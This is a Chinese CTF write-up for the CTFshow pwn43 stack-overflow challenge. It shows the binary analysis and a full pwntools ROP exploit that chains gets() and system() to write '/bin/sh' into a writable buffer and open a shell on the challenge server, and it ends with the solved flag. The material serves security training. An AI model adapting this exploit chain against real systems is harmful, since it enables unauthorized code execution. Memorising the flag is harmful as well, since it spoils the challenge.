CTFshow-PWN-栈溢出(pwn43)

news/2024/9/22 17:20:39/

32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法

检查:32 位程序 

ida 分析:

跟进 ctfshow 函数

定义了一个长度为 104 的字符数组 s,gets() 函数被用来从标准输入(键盘)中读取字符串,并存储到数组 s 中,函数返回了这个数组的指针。gets() 函数不会检查输入字符串的长度是否超出了数组的容量,因此会造成栈溢出。

这里找到了 system 函数的地址:0x8048450

但是并未找到 /bin/sh 或者 sh 这种现成的字符串作为 system 函数的参数

那么这种情况我们就需要手动写入一个 /bin/sh 或者 sh

首先我们需要找到可写入的地址在哪儿

使用 gdb 调试目标程序:

gdb pwn

设置断点:

break main

启动被调试的程序:

run

使用 vmmap 命令查看进程的内存映射情况,包括每个内存段的权限信息:

vmmap

rw-p 表示这段内存(0x804b000 到 0x804c000)是可读写的

-p 标志表示内存区域的权限,它由四个字符组成,每个字符分别代表一个权限:

r:可读(Readable)
w:可写(Writable)
x:可执行(Executable)
s:共享(Shared)

1000 和 2000:是内存区域的大小,这段内存的大小是 0x2000,即 8192 字节;

/home/ctfshow/Desktop/pwn/栈溢出/pwn43/pwn:这是内存区域的名称,表示这段内存是由哪个文件映射而来的,这里这段内存来自于名为 pwn 的可执行文件。

在这段地址范围上找到了一个 buf2 变量,我们可以利用这个缓冲区指针来存储输入的数据(/bin/sh),再传递给 system 函数的第一个参数,即可构造 system("/bin/sh")。

buf2 的地址:0x804B060

这里可以使用gets 函数来写入

gets 函数的地址:0x8048420

往 buf2 的地址写入 "/bin/sh" 然后让 system 参数指向这段地址

编写 exp:

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28227)
offset = (0x6C+4)
system_addr = 0x8048450
buf2_addr = 0x804B060
gets_addr = 0x8048420
payload = b'a'*offset + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

关于这个 payload 的详细解释:

在函数调用中,参数会按照一定的顺序压入栈中,然后函数会依次读取这些参数。

b'a'*offset:这部分是填充数据,长度为 offset,目的是为了覆盖函数的返回地址,并确保我们能够控制程序的执行流程。

p32(gets_addr):这是 gets() 函数的地址,我们将覆盖函数返回地址为 gets() 函数的地址,这样在程序返回时会跳转到 gets() 函数执行,我们就可以利用 gets() 函数从输入中获取数据。 p32(system_addr):这是 system() 函数的地址,我们将覆盖 gets() 函数的返回地址为 system() 函数的地址,这样在 gets() 函数执行完毕后,程序会继续执行 system() 函数。

而后面的两个 p32(buf2_addr) 分别作为 gets 函数与 system 函数的参数

第一个参数是用 gets() 函数读取的数据,也就是我们要写的 buf2 的地址(写入后 buf2 的地址也就是 "/bin/sh" 字符串的地址);
第二个参数也是 "/bin/sh" 字符串的地址,因为 system() 函数会使用这个地址作为命令参数。

可以打通,获取 shell 后直接执行命令 

拿到 flag:ctfshow{c9688abd-3198-4be6-bd31-ed98f1a06ee3}


http://www.ppmy.cn/news/1434808.html

相关文章

Python中的Exception和Error

在Python中,Exception和Error都是用来描述程序运行时出现的异常情况。它们的主要区别在于,Exception通常用于表示可预见的异常情况,而Error通常用于表示不可预见的异常情况。 具体来说,以下情况通常需要定义Exception&#xff1a…

Python 二叉树的基本操作实现

在Python中实现二叉树的基本操作通常涉及以下步骤: 定义二叉树节点:创建一个类来表示二叉树的节点,通常包含一个数据属性和指向左右子节点的指针。 创建二叉树:允许用户输入数据来构建二叉树。 遍历二叉树:实现前序、…

【前端技术】CSS基础入门篇

一、 CSS简介 css&#xff08;Cascading Style Sheets&#xff0c;缩写为 CSS&#xff0c;也叫作层叠样式表&#xff09;是一套美化HTML标签所编写出页面的语法&#xff0c;CSS描述了如何在不同设备上渲染内容的方法。 二、 CSS基本引入方法 <!-- Cascading style shet:层…

QWidget | Qt::WindowType 枚举的取值及意义QFlags 模板类详解

01 与 QWidget 类有关的部分类的继承图 3、QObject 是所有 Qt 对象的基类,QPaintDevie 是所有可绘制对象的基类。 4、QWidget 类是所有用户界面对象的基类,QWidget 及其子类是开发桌面应用的核心,这些类都位于 QtWidgets 模块内,注意:QtWidgets 是模块,QWidget 是类(少一…

2024蓝桥杯每日一题(分解质因数)

备战2024年蓝桥杯 -- 每日一题 Python大学A组 试题一&#xff1a;约数个数 试题二&#xff1a;分解质因数 试题三&#xff1a;质因数个数 试题四&#xff1a;完全平方数 试题五&#xff1a;阶乘分解 试题一&#xff1a;约数个数 【题目描述】…

小白人群想找通信网优的工作,需要注意什么?

6月毕业季&#xff0c;距离各大院校学生毕业时间不足2个月&#xff0c;有些求职者已经开始投递简历&#xff0c;明确自己未来的发展方向。 一些小伙伴们也纷纷后台私信我们想找通信网优的工作&#xff0c;因为学校开设的相关课程比较少&#xff0c;不知道学什么才比较好找这方面…

[NSSCTF]-Reverse:[HUBUCTF 2022 新生赛]simple_RE(base64换表)

无壳 查看ida 可以看得出是base64&#xff0c;而且是换表的。 完整exp&#xff1a; import base64 result5Mc58bPHLiAx7J8ocJIlaVUxaJvMcoYMaoPMaOfg15c475tscHfM/8 biaostr.maketrans(qvEJAfHmUYjBacu8Ph5n9Od17FrICL/X0gVtM4Qk6T2z3wNSsyoebilxWKGZpRD,ABCDEFGHIJKLMNOPQR…

SpringBoot+Vue开发记录(四)

说明&#xff1a; 本篇文章的主要内容是软件架构以及项目的前端Vue创建 一、软件架构 我道听途说的&#xff0c;听说这个东西很关键很重要什么的。 软件架构&#xff08;software architecture&#xff09;是一个系统的草图,是一系列相关的抽象模式&#xff0c;用于指导大型软…